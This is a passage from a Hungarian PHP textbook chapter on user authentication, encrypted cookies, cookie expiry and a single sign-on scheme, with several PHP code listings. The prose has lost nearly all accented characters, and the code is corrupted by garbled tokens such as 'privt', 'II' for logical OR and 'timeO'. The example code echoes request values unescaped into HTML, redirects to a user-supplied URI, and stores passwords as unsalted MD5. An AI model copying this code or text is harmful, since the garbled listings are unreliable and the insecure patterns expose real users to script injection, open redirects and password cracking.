tathoz tartozunk, s ugyanazt a f oo . jpg nev llomnyt szeretnnk egy webhelyrl letlteni, valjban csak az els krelem lp ki a szolgltat hlzatrl. Ezzel jelents svszlessg takarthat meg, a svszlessg pedig pnzt jelent. Sok internetszolgltat helyettes kiszolglk frtjeit alkalmazza annak rdekben, hogy nagyobb forgalmat bonyolthasson le. A Vilghln bngszve az egyms utn rkez krelmek klnbz helyetteseken haladhatnak t mg akkor is, ha csak msodpercek vlasztjk el ket egymstl. A webkiszolgl oldaln mindez azt jelenti, hogy ezek a krelmek klnbz IP cmekrl rkeznek, vagyis a felhasznl $_SERVER [REMOTE_IP] rtke minden tovbbi nlkl vltozhat egy munkameneten bell. Ezt a viselkedst knnyen megfigyelhetjk a nagy telefonos szolgltatk esetben. A fenti gondok azonban eltrplnek a msik fajta tvedsi lehetsg mellett. Elfordulhat ugyanis, hogy tbb klnbz felhasznl krelme ugyanarrl a helyettes kiszolglrl rkezik, s gy a $_SERVER[REMOTE_IP] rtke megegyez lesz az esetkben. Hasonlkppen igaz ez azoknl a felhasznlknl is, akik ugyanarrl a hlzati cmfordtrl kapcsoldnak a hlzathoz (ami igen gyakran elfordul vllalati rendszerekben). A $ SERVER [USERAGENT] vltozatlansgnak ellenrzse A $_SERVER [USER_AGENT] egy karakterlncot ad, mellyel a bngsz a krelemben azonostja magt. Sajt bngszm esetben ez a karakterlnc gy fest: M oz i l l a / 4 . 0 (compatible; MSIE 5.21; Mac_PowerPC)

ami, az Internet Explorer 5.2-es vltozatt jelenti Mac OS X rendszeren. Szmos olyan eszmecsere sorn, ahol a PHP munkamenetek biztonsgosabb ttelrl volt sz, felmerlt az tlet, hogy ellenrizni kellene a $_SERVER [USER_AGENT] rtknek vltozatlasgt a felhasznl egymst kvet krelmeiben. Sajnlatos mdon azonban itt ugyanazzal a gonddal szembeslnk, mint a $_SERVER [REMOTE_IP] esetben. Sok internetszolgltatk ltal ksztett helyettesfrt esetben elfordulhat, hogy klnbz krelmeknl vgl ms USER_AGENT karakterlnc tvitelre kerl sor. Titkostatlan stik hasznlata Ha nem titkostott (kdolatlan) stikben troljuk a felhasznlk adatait s a hitelestsi informciikat, olyan, mintha egy kocsmban egy paprcetlire firkantott sorral igazolni lehetne a vendg letkort. A stik tartalmnak kiolvassa s mdostsa igen knny feladat, gy nagyon fontos, hogy nehezen megfejthet alakban troljuk bennk az adatokat. (Errl bvebben a fejezet ksbbi rszben szlunk.) A kvetend mdszerekrl Az elbbiekben megtrgyaltuk, milyen mdszereket ne hasznljunk a hitelestsben most szljunk az ajnlott lehetsgekrl is.

360

PHP fejleszts felsfokon Titkosts hasznlata

A stik minden olyan adatt, melyek kiolvasst vagy mdostst el szeretnnk kerlni, titkostanunk kell. Mindig akadnak olyan programozk, akik sajt titkost algoritmusaikat alkalmazzk - hiba minden int sz. Sajt titkost algoritmust alkalmazni olyan, mintha egymagunk szeretnnk sszelltani egy rraktt. Nem fog sikerlni. Idrl idre bebizonyosodik, hogy a hzilag sszelltott titkostsi mdszerek (mg a nagy cgek fejlesztsei is) nem nyjtanak elg biztonsgot. Prbljunk elbe menni a szinte biztos kudarcnak. Maradjunk a sokszor ttekintett, mindenki szmra elrhet, jl bevlt algoritmusoknl. Az mcrypt bvtmny segtsgvel szmos jl bevlt titkost algoritmust rhetnk el. Mivel webkiszolglnkhoz szksgnk van mind a kdol, mind a visszafejt kulcsokra (hogy rni s olvasni is tudjuk a stiket), semmi rtelme, hogy aszimmetrikus algoritmus mellett dntsnk. Pldink a blowfish algoritmust alkalmazzk, de knnyen ttrhetnk ms mdszerre is.
Az elavuls megvalstsa

A hitelests elavulsnak megvalstsra kt lehetsgnk van: a stiket elavultt tehetjk minden hasznlat utn, de idtartamhoz is kthetjk a lejratot. Krelmenknti elavuls Ez a mdszer gyakorlatilag gy mkdik, mint a TCP. Minden felhasznlnl megkezdnk egy szmsorozatot, s az aktulis rtket troljuk a stiben. A kvetkez krelem kiadsnl a kapott sorozatszmot sszehasonltjuk az elzleg kldttel. Ha a kett megegyezik, a krelmet hitelesnek fogadjuk el. Ezutn elksztjk a kvetkez sorozatszmot, s a folyamat jraindul. Ez a mdszer megnehezti, hogy kvlllk belepiszkljanak a munkamenetbe, de ez tovbbra sem lehetetlen feladat. Ha valaki elfogja a kiszolgl ltal kldtt vlaszt, s nlunk korbban vlaszol a stivel, mr el is trtette a munkamenetet. Mindez persze kiss furn hangzik, sajnos azonban minden biztonsgi rs kihasznlhat valamire. Sajnlatos mdon a biztonsg s a jl hasznlhatsg rdekei gyakran ellenttesek. Olyan kiszolglt kszteni, melynek munkamenetei eltrthetetlenek, szinte lehetetlen. Mindemellett meglehetsen sok erforrst lhetnk fel azzal, ha minden krelemnl elksztjk egy sorozat kdolt elemt. Nem csak arrl van itt sz, hogy minden krelemnl el kell vgeznnk a visszafejtst s az jrakdolst (ami egybknt szintn jelents feladat), hanem minden felhasznl esetben trolnunk kell az aktulis sorozatszmot. Tbbkiszolgls krnyezetben ehhez egy adatbzisra van szksg, ami termszetesen jelents kltsgekkel jrhat. sszegzsknt annyit mondhatunk, hogy az ltala nyjtott vdelem mrtkhez kpest ez az elavulsi sma nem ri meg a fradsgot.

13. fejezet A felhasznlk hitelestse s a munkamenetek biztonsga

361

Elavuls rgztett idtartam utn E mdszer alkalmazsnl a stik nhny percenknt elavulnak. Gondoljunk csak a sfelvonnl kapott jegy dtumot tartalmaz rszre. Ennek segtsgvel a jegyet egsz nap hasznlhatjuk, s nem kell jra s jra kivltanunk. Belerhatjuk teht a stikbe ksztsk idejt, s a ksbbiekben ezt az adatot ellenrizhetjk. Ez a mdszer is nyjt nmi vdelmet az eltrtssel szemben, mivel a stiket ksztsket kveten csak nhny percig hasznlhatjuk. Mindemellett az albbi elnyk is az lnkbe hullanak: Nincs szksg kzpontostott ellenrzsre - Ha a gpek ri sszehangoltan mkdnek, a stik ellenrizhetk anlkl, hogy valamifle kzponti irnytsra volna szksg. Nem kell tl gyakran stiket ksztennk - Mivel a stik egy meghatrozott idtartamig rvnyesek, nem kell minden krelemnl jat ksztennk bellk. Ez azt jelenti, hogy a krelmek tbbsgben megtakarthatjuk a titkostsi munka felt.
Felhasznlk azonostsa

Nem szabad megfeledkeznnk arrl sem, hogy pontosan kinek a stijt hitelestjk. Legjobb, ha maradand s egyrtelm azonostkat hasznlunk - nagyszeren megfelel e clra, ha sorszmokkal ltjuk el felhasznlinkat. Vltozatinformcik begyjtse Egy apr, de annl fontosabb megjegyzs: mindenfle maradand adat, amelyrl azt gondoljuk, hogy gyfeleink visszakldhetik szmunkra, kell, hogy tartalmazzon vltozatjelzket. Ezek nlkl nem lehet gy megvltoztatni a stik formtumt, hogy szolgltatsunk ne szakadna meg. Ilyenkor mg a legkedvezbb esetben is jra be kell lptetnnk az oldal sszes ltogatjt. Ha nincs ekkora szerencsnk, s mondjuk egyetlen gpen megmarad a sti rgi vltozata, komoly s nehezen felkutathat hibkkal kell szembenznnk. Ha nem tartjuk nyilvn a vltozatinformcikat, kdunk meglehetsen ingatagg vlhat. Kijelentkezs Ez a tmakr nem kapcsoldik kzvetlenl a stikhez, mgis itt kell megemltennk. A felhasznlnak meg kell adni a lehetsget munkamenetnek befejezsre. Errl semmiflekppen nem szabad megfeledkeznnk, hiszen nagyban rinti a szemlyes adatbiztonsgot. A kijelentkezst knnyen megvalsthatjuk a munkamenet stijnek kirtsvel.

Hitelests a gyakorlatban - egy plda


Elg a sok elmletbl - lssunk nmi kdot is! Mindenekeltt meg kell vlasztanunk a sti formtumt. A korbbiakban lertak alapjn elegend, ha megadjuk a vltozatszmot ($version), a kszts idpontjt ($created), valamint a felhasznl azonostjt ($userid):

362

PHP fejleszts felsfokon

<?php require_once 'Exception.inc'; class AuthException extends Exception {} class Cookie { privt $created; privt $userid; privt $version; // mcrypt lernk privt $td; // az mcrypt adatai static $cypher = 'blowfish'; static $mode = 'cfb'; static $key = 'choose a better key' ; // adatok a sti formtumrl static $cookiename = 'USERAUTH'; static $myversion = ' 1' ; // a sti lejrati ideje static $expiration = '600'; // a sti frisstsnek ideje static $warning = '300'; static $glue = 'I'; public function___ construct($userid = fals) { $this->td = mcrypt_module_open ($cypher, '', $mode, ' ' ) ; if($userid) { $this->userid = $userid; return; } else { if(array_key_exists(self::$cookiename, $_COOKIE)) { $buffer = $this->_unpackage($_COOKIE[self::$cookiename] ) ; } else { throw new AuthException("No Cookie"); } } } public function set() { $cookie = $this->_package(); set_cookie(self::$cookiename, $cookie); } public function validate() { if(!$this->version II !$this->created II !$this->userid) { throw new AuthException("Malformed cookie"); }

13. fejezet A felhasznlk hitelestse s a munkamenetek biztonsga

363

if ($this->version != self::$myversion) { throw new AuthException("Version mismatch"); } if (time() - $this->created > self::$expiration) { throw new AuthException("Cookie expired"); } else if ( time() - $this->created > self::$resettime) { $this->set(); } } public function logout() { set_cookie(self::$cookiename, "", 0); } privt function _package() { $parts = array(self::$myversion, time(), $this->userid); $cookie = implode($glue, $parts); return $this->_encrypt($cookie); } privt function _unpackage($cookie) { $buffer = $this->_decrypt($cookie); list($this->version, $this->created, $this->userid) = explode($glue, $buffer); if($this->version != self::$myversion II !$this->created II !$this->userid) { throw new AuthException(); } } privt function _encrypt($plaintext) { $iv = mcrypt_create_iv (mcrypt_enc_get_iv__size ($td), MCRYPT_RAND); mcrypt_generic_init ($this->td, $this->key, $iv); $crypttext = mcrypt_generic ($this->td, $plaintext) ; mcrypt_generic_deinit ($this->td); return $iv.$crypttext; } privt function _decrypt($crypttext) { $ivsize = mcrypt_get_iv_size($this->td); $iv = substr($crypttext, 0, $ivsize); $crypttext = substr($crypttext, $ivsize); mcrypt_generic_init ($this->td, $this->key, $iv); $plaintext = mdecrypt_generic ($this->td, $crypttext); mcrypt_generic_deinit ($this->td); return $plaintext; } privt function _reissue() { $this->created = time(); } } ?>

364

PHP fejleszts felsfokon

Nos, ez egy meglehetsen bonyolult osztly, gy ht kezdjk elemzst a nyilvnos fellettel. Amennyiben a konstruktornak nem adunk t felhasznlazonostt, felttelezi, hogy a krnyezetbl szeretnnk olvasni, gy megksrli kiolvasni s feldolgozni a $_COOKIE vltozban tallhat sutit. A sti trolsra a $cookiename szolgl (ami ez esetben a USERAUTH). Ha brmi gondunk akad a sti elrsvel vagy visszafejtsvel, a konstruktr egy AuthException kivtelt vlt ki. Ez egybknt egy egyszer burkol az ltalnos Exception osztly krl: class AuthException extends Exception {} A hitelests brmifle hibjnak kezelst a kivtelekre hagyhatjuk. Ha pldnyostunk egy sutit a krnyezetbl, rdemes meghvnunk a validate () tagfggvnyt. Ez ellenrzi a sti szerkezett, tovbb megvizsglja, hogy vltozatszma helyes-e, valamint, hogy a sti elavult-e. (Elavult akkor lehet, ha ksztsnek idpontja legalbb $expiration msodperccel korbbi.) A validate () elvgzi a sti frisstst is, ha mr kzel ll az elavulshoz (vagyis ha ksztse legalbb $warning msodperccel korbbi). Ha egy sutit egy felhasznlazonostval pldnyostunk, az osztly felttelezi, hogy egy vadonatj Cookie objektumot ksztnk, gy nincs szksg az rvnyestsre. A set nyilvnos tagfggvny sszelltja, titkostja s belltja a sutit. Erre azrt van szksgnk, hogy kezdetben is kpesek legynk stiket ltrehozni. Figyeljk meg, hogy itt nem lltunk be lejrati idt: set_cookie(self::$cookiename, $cookie) ;

Ez azt jelenti, hogy a bngsznek kikapcsolskor automatikusan el kell dobnia ezt a sutit. Vgezetl, a logout tagfggvny kirti a stt, res rtkv teszi, 0 lejrati idvel - ez, mivel Unix idblyegzkrl van sz, 1969. december 31. este 7 rt jelent. Az osztly belsejben van nhny segdfggvnynk is. A _package s az _unpackage az implode s az explode segtsgvel kpes a kvnt adatok tmbjt egy karakterlncba rni, illetve onnan kigyjteni. Az _encrypt s a _decrypt a kdolsrt, illetve a visszafejtsrt felel. Az elbbi egy tiszta szvegbl ll karakterlncot kdol az osztlytulajdonsgokkal megadott mdszerrel (blowfish), a _decrypt pedig visszafejti a karakterlncot, s visszaadja az eredmnyt.

13. fejezet A felhasznlk hitelestse s a munkamenetek biztonsga

365

Figyeljk meg a kvetkez sort: $iv = mcrypt_create_iv (mcrypt_enc_get_iv_size ( $ t d ) , MCRYPT_RAND);

Ezt a kdol fggvny kezdvektornak", illetve magjnak meghatrozshoz hasznljuk, majd az eredmnyt tadjuk a kdolt karakterlnccal. Megadhatunk sajt kezdvektort is. Szmos fejleszt l ezzel a lehetsggel, de elkveti azt a hibt, hogy mind a kezdvektort, mind a kulcsot trolja a kdolsi knyvtrban. Ha szimmetrikus kdolst hasznlunk rgztett kulccsal CBC, CFB, vagy OFB mdban, fontos, hogy vletlen kezdvektort hasznljunk, egybknt a stik knnyen tmadsok ldozatul eshetnek. Ez klnsen a CFB s az OFB esetben lnyeges, a CBC mdnl kevsb jelent veszlyt. A knyvtrt a hasznlat rdekben egy fggvnybe burkoljuk, melyet minden oldal elejn meghvunk: function check_auth() { try { $cookie = new Cookie(); $cookie->validate() ;
}

catch (AuthException $e) { header("Location: /login.php?originating_uri=".$_SERVER['REQUESTJJRI']); exit ;


} }

Ha a felhasznl stije rvnyes, tovbbhaladhat, ha pedig nem, visszakerl a bejelentkezsi oldalra. Amennyiben a felhasznl stije nem ltezik, vagy brmilyen gond addik az ellenrzsnl, szintn visszakerl a bejelentkezsi oldalra. Ha a $_GET rtkt az origination_uri-ra lltjuk, egyszeren visszakerlhetnk a kezdoldalra. A login.php egy egyszer rlap, amely lehetv teszi a felhasznl szmra, hogy berja azonostjt s jelszavt. Amennyiben sikerrel jrt, a rendszer belltja munkameneti stijt, s visszakerl az eredeti oldalra, ahonnan jtt:
<?php require_once 'Cookie.inc'; require_once 'Authentication.inc'; require_once 'Exception.inc'; $name = $_POST['name']; $password = $_POST['password'];

366

PHP fejleszts felsfokon

$uri = $_REQUEST['originating_uri']; if(!$uri) { $uri = ' / ' ; } try { $userid = Authentication::check_credentials ($name, $password); $cookie = new Cookie($userid); $cookie->set(); header("Locat ion: $uri"); exit ; } catch (AuthException $e) { ?> <html> <title> Login </title> <body> <form name=login method=post> Username: <input type="text" name= "name"xbr> Password: <input type="password" name="name"xbr> <input type="hidden" name="originating_uri" value="<?= $_REQUEST['originating_uri'] ?> <input type=submit name=submitted value="Login"> </form> </body> </html> <?php } ?> A felhasznlk azonost-jelsz prjainak ellenrzsre a korbban megismert check_credentials fggvnyt alkalmazhatjuk: class Authentication { function check_credentials($name, $password) { $dbh = new DB_Mysql_Prod(); $cur = $dbh->prepare(" SELECT userid FROM users WHERE username = : 1 AND password = :2")->execute($name, md5($password)); $row = $cur->fetch_assoc(); if($row) { $userid = $row['userid' ] ;
}

13. fejezet A felhasznlk hitelestse s a munkamenetek biztonsga

367

else { throw new AuthException("user is not authorized");


}

return $userid;
} }

Figyeljk meg, hogy a felhasznl jelszavt nem egyszer szveges formban troltuk, hanem ksztettnk belle egy MD5 kivonatot. Nagy elnye ennek a mdszernek, hogy mg ha adatbzisunkat fel is trik, a felhasznlk jelszavaihoz nem jutnak hozz. Htultje pedig az (mr amennyiben annak tekintjk), hogy a felhasznlk jelszavait nem tudjuk elbnyszni, csak fellrni. Ha mdostani szeretnnk a hitelests mdszert (melynek alapja lehet mondjuk a jelsz kikeresse, Kerberos, vagy LDAP), csak az authenticate fggvnyt kell megvltoztatnunk, a kd tovbbi rsze ettl fggetlenl mkdik.

Egyszeri feliratkozs
Gondoljuk most egy kicsit tovbb sels pldnkat. Egyes skzpontok kapcsolatban llhatnak ms hegyeken levkkel, gy az a sbrlet, mellyel egyikk szolgltatsait ignybe vehetjk, rvnyes lehet mshol is. Ha teht az egyik kzpontban vsrolt sbrlettel megjelennk egy msik helyen, az ottani kzpont is minden tovbbi nlkl ad egy felvonjegyet. Gyakorlatilag ez a lnyege az egyszeri feliratkozs mdszernek.

Egyszeri feliratkozs - a mlt stt foltjai

Az egyszeri feliratkozs elvnek npszersgt jelentsen megtpzta a Microsoft Passport krl tmadt vihar. Mindazonltal a Passport kapcsn felmerlt valban komoly krdsek nem arrl szltak, hogy az egyszeri feliratkozs j vagy rossz, hanem bizonyos biztonsgi gondokrl, melyek alapja egy kls gyrt ltal ksztett kzponti hitelest volt. Jelen esetben nem beszlhetnk valdi kls gyrtkrl - itt a hitelests egymsban megbz partnerek kzt folyik.

Gyakran elfordul, hogy egy cg tbb, klnbz nv alatt fut webhelyt zemeltet (klnbz webhelyek, klnbz tartomnyok - azonos vezetsg). Tegyk fel pldul, hogy kt ruhz felett rendelkeznk, s szeretnnk, hogy a felhasznlk adatai az egyikbl automatikusan tkerljenek a msikba is, gy ne kelljen feleslegesen ktszer ugyanazokat az rlapokat kitltenik. A stik a tartomnyokhoz ktdnek, gy nem alkalmazhatjuk az egyik tartomny stijeit a felhasznl hitelestsre egy msikban.

368

PHP fejleszts felsfokon A 13.1. brn lthatjuk, mi trtnik, amikor a felhasznl elsknt belp egy osztott hitelests rendszer valamelyik webhelyre.

13.1. bra Kezdeti belps az egyszeri feliratkozsos rendszerbe. A bejelentkezs sorn a felhasznl az albbi lpseket tapasztalja: 1. Az gyfl lekrdezst intz a www. example . f oo webkiszolglhoz. 2. Az oldal szleli, hogy a felhasznl mg nincs bejelentkezve (nincs rvnyes munkameneti stije a www. example. f oo-hoz), s tirnytja a www. singlesignon.com bejelentkezsi lapjra. Ez az tirnyts emellett tartalmaz egy rejtett vltozt is egy titkostott hitelestsi krelemmel, ami igazolja, hogy a krelem a www. example. f oo webhelyrl szrmazik. 3- Az gyfl elkldi a krelmet a www. singlesignon. com bejelentkezsi oldalra. 4. A www. singlesignon. com megjelenti a felhasznlnv/jelsz ablakot. 5. Az gyfl elkldi az rlap tartalmt egy hitelestsi krelemmel a hitelest kiszolglhoz. 6. A hitelest kiszolgl feldolgozza a krelmet, majd visszairnyt a www. example. f oo cmre, egy titkostott azonostsi vlasszal. A kiszolgl emellett elkszti a felhasznl munkameneti stijt is. 7. A felhasznl utols krelmben visszakldi a hitelest vlaszt a www. example . f oo cmre. 8. A www. example. f oo ellenrzi a kdolt hitelest vlaszt, melyet a hitelest kiszolgltl kapott, s bellt egy munkameneti sutit a felhasznl szmra. A ksbbi bejelentkezsi ksrleteknl brmely olyan webhelyen, amely ugyanehhez a bejelentkezsi kiszolglhoz kapcsoldik, a legtbb lps lervidl. A 13.2. bra egy msodik bejelentkezsi ksrletet mutat be egy, az elzektl eltr webhelyrl.

13. fejezet A felhasznlk hitelestse s a munkamenetek biztonsga

369

13.2. bra

Az egyszeri feliratkozsos rendszer mkdse az els belps utn. A folyamat els rsze megegyezik a 13.1. brn bemutatottal - annyi klnbsggel, hogy amikor az gyfl krelmet kld a www. singlesignon.com cmre, most mr tadja a korbban a 6. lpsben ksztett sutit is. Lssuk e folyamat lpseit: 1. Az gyfl lekrdezst intz a www. example. com webkiszolglhoz. 2. Az oldal szleli, hogy a felhasznl mg nincs bejelentkezve (nincs rvnyes munkameneti stije a www. example. com-hoz), s tirnytja a www. singlesignon. com bejelentkezsi lapjra. Ez az tirnyts emellett tartalmaz egy rejtett vltozt is egy titkostott hitelestsi krelemmel, ami igazolja, hogy a krelem a www. example. com webhelyrl szrmazik. 3. Az gyfl elkldi a krelmet a www. singlesignon. com bejelentkezsi oldalra. 4. A hitelest kiszolgl ellenrzi a felhasznl singlesignon stijt, elkszti a hitelestsi vlaszt, s tirnytja a felhasznlt a www. example . com cmre. 5. A felhasznl utols krelmben visszakldi a hitelest vlaszt a www. example . com cmre. 6. A www. example . com ellenrzi a kdolt hitelest vlaszt, melyet a hitelest kiszolgltl kapott, s bellt egy munkameneti sutit a felhasznl szmra. Jllehet, ez meglehetsen munkaignyesnek tnik, a folyamat teljessggel rejtve marad a felhasznl eltt. A msodik bejelentkezsi krelem azonnali hitelests utn egyszeren visszapattan a hitelest kiszolglrl, s a felhasznl adatainak belltsa utn visszakerl az eredeti webhelyre.

Az egyszeri feliratkozs megvalstsa


Lssunk most egy rvid pldt az egyszeri feliratkozsos rendszer megvalstsra. Fontos megjegyeznnk, hogy itt mind a kzponti, mind a kls kiszolglk ltal hasznlt fggvnyek megtallhatk. Vegyk szre azt is, hogy ez az osztly sajt mcrypt burkol fggve-

370

PHP fejleszts felsfokon

nyekkel rendelkezik. Persze, ha mr volt kls mcrypt burkol knyvtrunk, melynek hasznlatt megszoktuk, ezt is behelyettesthetjk. class SingleSignOn { protected $cypher = 'blowfish1; protected $mode = 'c f b ' ; protected $key = 'choose a better key'; protected $td; protected $glue = ' I ' ; protected $clock_skew = 60 ; protected $myversion = 1; protected $client; protected $authserver; protected $userid; public $originating_uri; public function ______construct() { // az mcrypt krnyezet belltsai $this->td = mcrypt_module_open ($this->cypher,
}

'', $this->mode,

'');

public function generate_auth_request() { $parts = array ($ths->myversion, timeO, $this->client, $this->originating_uri); $plaintext = implode($this~>glue, $parts); $reguest = $this->_encrypt($plaintext); header("Location: $client->server?request=$request");
}

public function process_auth_request($crypttext) { $plaintext = $this->_decrypt($crypttext); list($version, $time, $this->client, $this->originating_uri) = explode($this->glue, $plaintext); if( $version != $this->myversion) { throw new SignonException("version mismatch");
}

if(abs(time() - $time) > $this->clock_skew) { throw new SignonException("request tokn is outdated"); } } public function generate_auth_response() { $parts = array($this->myverson, time(), $this->userid); $plaintext = implode($this->glue, $parts); $request = $this->_encrypt($plaintext); header("Location: $this ->client$this->originating_uri?response=$request"); }

13. fejezet * A felhasznlk hitelestse s a munkamenetek biztonsga

371

public function process_auth_response($crypttext) { $plaintext = $this->_decrypt($crypttext); list ($version, $time, $this->userid) = explode($this->glue, $plaintext); if( $version != $this->myversion) { throw new SignonException("version mismatch"); } if (abs(time() - $time) > $this->clock_skew) { throw new SignonException("response tokn is outdated"); } return $this->userid; } protected function _encrypt($plaintext) { $iv = mcrypt_create_iv (mcrypt_enc_get_iv_size ($td), MCRYPT_RAND); mcrypt_generic_init ($this->td, $this->key, $iv); $crypttext = mcrypt_generic ($this->td, $plaintext); mcrypt_generic_deinit ($this->td); return $iv.$crypttext; } protected function _decrypt($crypttext) { $ivsize = mcrypt_get_iv_size($this->td) ; $iv = substr($crypttext, 0, $ivsize); $crypttext = substr($crypttext, $ivsize); mcrypt_generic_init ($this->td, $this->key, $iv); $plaintext = mdecrypt_generic ($this->td, $crypttext); mcrypt_generic_deinit ($this->td); return $plaintext; } }

A SingleSignOn osztly nem sokkal bonyolultabb, mint a korbban megismert Cookie. A legnagyobb klnbsg az, hogy most mr kt klnbz tpus zenetet (krelmet s vlaszt) tovbbtunk, s ezeket lekrdezsi karakterlnc paramterekknt adjuk t, nem pedig stik formjban. A kdban termszetesen tallhatunk egy elllt s egy feldolgoz tagfggvnyt mind a krelmek, mind a vlaszok rszre. Bizonyra megismerjk rgi j bartainkat, az _encrypt s a _decrypt fggvnyeket a Cookie. inc-bl - k vltozatlan alakban jelennek meg. Hasznlatukhoz mindenekeltt helyesen kell belltanunk a paramtereket. Az albbiak szerint egyszeren pldnyosthatunk egy SingleSignOn objektumot: <?php include_once 'SingleSignOn.inc'; $client = new SingleSignOn(); $client->client = "http://www.example.foo"; $client->server = "http://www.singlesignon.foo/signon.php";
?>

372

PHP fejleszts felsfokon

Nos, ez egy kiss hosszadalmas, ezrt ht visszatrhetnk jl bevlt mdszernkhz, s bvthetjk az osztlyt, megadva tulajdonsgait: class SingleSignOn_Example extends SingleSignOn { protected $client = "http://www.example.foo"; protected $server = "http://www.singlesignon.foo/signon.php";
}

Most mdostanunk kell ltalnos hitelestsi burkolnkat, hogy ne csak azt ellenrizze, a felhasznl rendelkezik-e stivel, hanem azt is, hogy kapott-e hitelestett vlaszt a hitelest kiszolgltl: function check_auth() { try { $cookie = new CookieO; $cookie->validate();
}

catch(AuthException $e) { try { $client = new SingleSignOn(); $client->process_auth_response($_GET['response']); $cookie->userid = $client->userid; $cookie->set();
}

catch(SignOnException $e) { $client->originating_uri = $_SERVER['REQUESTJJRI']; $client->generate_auth_request(); // mivel egy 302-es tirnytst kldtnk, // minden ms mveletet lellthatunk exit ;
} } }

A kd a kvetkezk szerint mkdik. Amennyiben a felhasznl rendelkezik rvnyes stivel, azonnal tovbbmehet. Ha nem ez a helyzet, ellenriznnk kell, hogy rkezett-e szmra rvnyes vlasz a hitelest kiszolgltl. Amennyiben igen, ksztnk a szmra egy, a webhelyre rvnyes sutit, s tovbbkldjk, egybknt pedig ltrehozunk egy hitelestsi krelmet, s a felhasznlt tovbbkldjk a hitelest kiszolglhoz, tadva az aktulis URL-t, biztostva ezzel, hogy a hitelests vgeztvel a megfelel helyre kerljn. A hitelest kiszolgln tallhat signon.php hasonlt a korbban sszelltott bejelentkezsi oldalhoz:
<?php require_once 'Cookie.inc'; require_once 'SingleSignOn.inc';

13. fejezet * A felhasznlk hitelestse s a munkamenetek biztonsga

373

$name = $_POST [ ' name ' ] ; $password = $_POST['password'] ; $request = $_REQUEST['request' ] ; try { $signon = new SingleSignOn(); $signon->process_auth_request($request) ; if($name && $password) { $userid = CentralizedAuthentication::check_credentials($name, $password, $signon->client); } else { $cookie = new Cookie(); $cookie->validate(); CentralizedAuthentication::check_credentialsFromCookie($cookie ->userid, $signon->client); $userid = $cookie->userid; } $signon->userid = $userid; $resetcookie = new Cookie($userid); $cookie->set(); $signon->generate_auth_reponse(); return; } catch (AuthException $e) { ?> <html>

<title>SingleSignOn Sign-In</title> <body> <form name=signon method=post> Username: <input type="text" name="name"xbr> Password: <input type= "password" name= "name"xbr> <input type="hidden" name="auth_request" value="<?= $_REQUEST['request'] ?> <input type=submit name=submitted value="Login"> </form> </body> </html>
<? }

catch (SignonException $e) { header("HTTP/1.0 403 Forbidden");


} ?>

Vizsgljuk meg a kzponti try {} blokk mkdst! Elszr is feldolgozzuk a hitelestsi krelmet. Amennyiben nem rvnyes, a krelmet nem egy szmunkra ismert gyfltl kaptuk. gy azonnal reaglhatunk egy SignOnException kivtellel, ami 403 Forbidden

374

PHP fejleszts felsfokon

zenetet kld a felhasznlnak. Ezutn megksrlnk beolvasni egy sutit a hitelest kiszolgl szmra. Amennyiben ez ltezik, mr tallkoztunk ezzel a felhasznlval, gy megkereshetjk az azonostja alapjn (a check_credentialsFromCookie-ban). Ezutn, felttelezve, hogy a felhasznl a krelmez tartomnyhoz ignyelte a hitelestst, visszakldhetjk oda, ahonnan rkezett, egy rvnyes hitelestsi vlasszal. Amennyiben nem tallunk rvnyes sutit (akr azrt, mert a felhasznl nem rendelkezik ilyennel, akr azrt, mert lejrt), visszakerlnk a bejelentkezsi rlapra. Utols feladatunk a kiszolgl oldali hitelest fggvnyek megvalstsa. A korbbiakhoz hasonlan ezek teljesen nll sszetevk, gy pthetk jelszavakra, LDAP-re, vagy ms hitelestsi httrre. Ha a MySQL-nl maradunk, az albbi fggvnyprt kszthetjk el. class CentralizedAuthentication { function check_credentials($name, $password, $client) $dbh = new DB_Mysql_Prod(); $cur = $dbh->prepare(" SELECT userid

FROM ss_users WHERE name = : 1 AND password = :2 AND client = :3")->execute($name, md5($password), $client); $row = $cur->fetch_assoc(); if($row) { $userid = $row['userid']; } else { throw new SignonException("user is not authorized"); } return $userid; } function check_credentialsFromCookie($userid, $server) { $dbh = new DB_Mysql_Test(); $cur = $dbh->prepare(" SELECT userid FROM ss_users WHERE userid = :1 AND server = :2")->execute($userid, $server); $row = $cur->fetch_assoc() ;

13. fejezet A felhasznlk hitelestse s a munkamenetek biztonsga

375

i f(!$row) { throw new SignonException("user is not authorized");


} } }

Nagyszer, elksztettnk teht egy teljes, jl mkd egyszeri feliratkozsos rendszert. Ez a tuds a jvben sok esetben hasznunkra lehet, hiszen a cgek kapcsolatainak szaporodsval a hitelests kiterjesztse egyre fontosabb vlik.

Tovbbi olvasmnyok
Az egyszer HTTP-hitelests rendszere s a PHP kapcsolatrl Luk Welling s Laura Thomson PHP and MySQL Web Development cm knyvben olvashatunk. Az egyszer hitelests szabvnyt az RFC 2617 adja meg (www. ietf .org/rf c/rf c2617 .txt). A PHP elektronikus kziknyvben kimert lerst kapunk a stik hasznlatrl, ha azonban ez nem elgten ki ignyeinket, megtekinthetjk az RFC 2109-et (www. ietf.org/rfc/rfc2617 .txt), illetve a Netscape eredeti meghatrozst (http://wp.netscape.com/newsref/std/cookie_spec.html). Egyetlen programoz knyvtra sem lehet teljes Bruce Schneier Applied Cryptogmphy cm knyve nlkl, melyet csak az alkalmazott kriptogrfia biblijaknt emlegetnek. Hihetetlenl tfog, s minden ismertebb titkostsi mdszert behatan trgyal. Egy jabb knyve, a Secrets and Lies: Digital Security in a Networked World napjaink digitlis biztonsgi rendszereinek technikai s egyb hinyossgaival foglalkozik. A Washingtoni Egyetemen fejlesztett nylt forrs egyszeri feliratkozsos rendszer, a pubcookie megtallhat a www.washington.edu/pubcookie cmen. A fejezetnkben bemutatott rendszer a pubcookie s a Microsoft Passport protokoll tvzetnek tekinthet. Avi Rubin s Dvid Kormann rdekes cikke az egyszeri feliratkozsos rendszer kockzatairl (Risks ofthe Passport Single Signon Protocol) a kvetkez cmen tallhat meg: http://avirubin.com/passport.html

Munkamenetek kezelse
